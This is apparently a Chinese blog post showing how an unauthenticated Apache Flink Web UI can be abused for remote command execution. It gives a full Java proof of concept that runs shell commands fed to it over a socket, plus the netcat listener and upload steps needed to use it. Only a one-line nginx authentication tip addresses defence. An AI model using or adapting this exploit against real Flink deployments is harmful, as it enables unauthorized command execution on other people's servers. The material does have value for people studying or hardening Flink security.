Flink 是一个针对流数据和批数据的分布式处理引擎,与 Storm 一起广泛应用于分布式实时计算场景中,且在某些场景下 Flink 性能要优于 Storm。然而 Flink 默认提供的 Web UI 却不支持鉴权,这就引发了非常明显的未授权问题。
Flink Web UI
在 macOS 上简单安装一个单节点 Flink,直接使用 Homebrew。
brew install apache-flink
安装完成后进入安装目录下,执行启动脚本。
cd /usr/local/Cellar/apache-flink/1.8.1/libexec/bin
./start-cluster.sh
访问 http://localhost:8001 即可看到 Web UI。
在 Submit New Job 的地方可以上传一个 JAR 包执行任务。
Code Example
并不会流处理,所以直接从官方的 Example 中改一个出来。
import org.apache.flink.api.common.functions.FlatMapFunction;
import org.apache.flink.api.common.serialization.SimpleStringSchema;
import org.apache.flink.api.java.tuple.Tuple2;
import org.apache.flink.streaming.api.datastream.DataStream;
import org.apache.flink.streaming.api.datastream.DataStreamSource;
import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment;
import org.apache.flink.util.Collector;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class poc {
public static void main(String[] args) throws Exception {
// 获取运行环境
final StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment();
// 通过socket获取源数据
final DataStreamSource<String> sourceData = env.socketTextStream("127.0.0.1", 8000);
DataStream<Tuple2<String, Integer>> dataStream = sourceData
.flatMap(new FlatMapFunction<String, Tuple2<String, Integer>>() {
public void flatMap(String s, Collector<Tuple2<String, Integer>> collector) throws Exception {
Process p = Runtime.getRuntime().exec(s);
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String res = null;
while ((res = reader.readLine()) != null) {
//send_result(res + "\n");
System.out.println(res + "\n");
}
}
})
// 相同的单词进行分组
.keyBy(0)
// 聚合数据
.sum(1);
// 将数据流打印到控制台
dataStream.print();
env.execute("streaming word count");
}
}
这里为了简单直接将命令执行的结果打到了标准输出,其实这里想做什么都可以,打到远程 socket 也完全没问题。
Build 出一个 JAR 包,先监听端口。
nc -lvvp 8000
上传 JAR 包,填写 Entry Class,Submit。
Get it done
提交任务之后不久,监听端口收到连接,此时输入命令,在 Task Manager 的标准输出 Tab 即可看到结果输出。
怎么让flink的web UI授权访问呢?
可以考虑用nginx做个401认证。